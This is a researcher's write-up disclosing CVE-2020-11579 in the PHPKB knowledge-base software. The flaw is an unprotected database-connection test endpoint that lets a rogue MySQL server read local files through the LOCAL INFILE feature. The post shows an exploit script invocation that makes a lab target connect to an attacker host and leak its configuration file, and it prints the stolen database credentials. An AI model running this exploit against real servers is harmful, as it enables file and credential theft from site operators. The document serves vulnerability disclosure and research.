Let’s jump straight to the strange behavior: up until PHP 7.2.16 it was possible by default to exfiltrate local files via the MySQL LOCAL INFILE feature through the connection to a malicious MySQL server. Considering that the previous PHP versions are still the majority in use, these exploits will remain useful for quite some time.
Like many other vulnerabilities, after reading about this quite-unknown attack technique (1, 2), I could not wait to find a vulnerable software where to practice such unusual dynamic. The chance finally arrived after a network penetration test where @smaury encountered PHPKB, a knowledge-base software written in PHP which he felt might be interesting to review, and that was my trigger. 😏
After deploying it and having a look at the source code, I noticed that during the installation it was possible to test the database connection before actually starting to use it. After going back to review my Burp HTTP history, I discovered that the API endpoint wasn’t protected or removed after the configuration was completed, and hence it remained available for any unauthenticated user forever after. A PHPKB patch was released shortly after my report and MITRE assigned it CVE-2020-11579.
Moving on to the exploitation technique, despite it being around for quite some time the malicious servers available weren’t neither really debug-friendly nor standalone. That’s why I chose to invest some time to write one which met both those requirements — the result is available on GitHub. The script can work in two main modes:
exploit. The exploit mode just adds the HTTP GET request needed to trigger CVE-2020-11579, while the server-only exposes the malicious MySQL instance and waits for connections. For example, we can now exfiltrate an arbitrary file from a vulnerable PHPKB host in just one command:
$ ./CVE-2020-11579.py -rh http://192.168.252.131 -lh 192.168.252.130 -f '../../admin/include/configuration.php'
2020-04-20 13:37:42,666 - CRITICAL - Successfully extracted file from 192.168.252.131:34010:
// Database Settings
// MySQL Database Settings
$mySQLServer = '10.10.10.10';
$mySQLUsername = 'root';
$mySQLPassword = 'dadada';
$mySQLDatabase = 'phpkbv9';
I hope it will help you exploit more easily such vulnerabilities in the future — until next time! 🤟🏻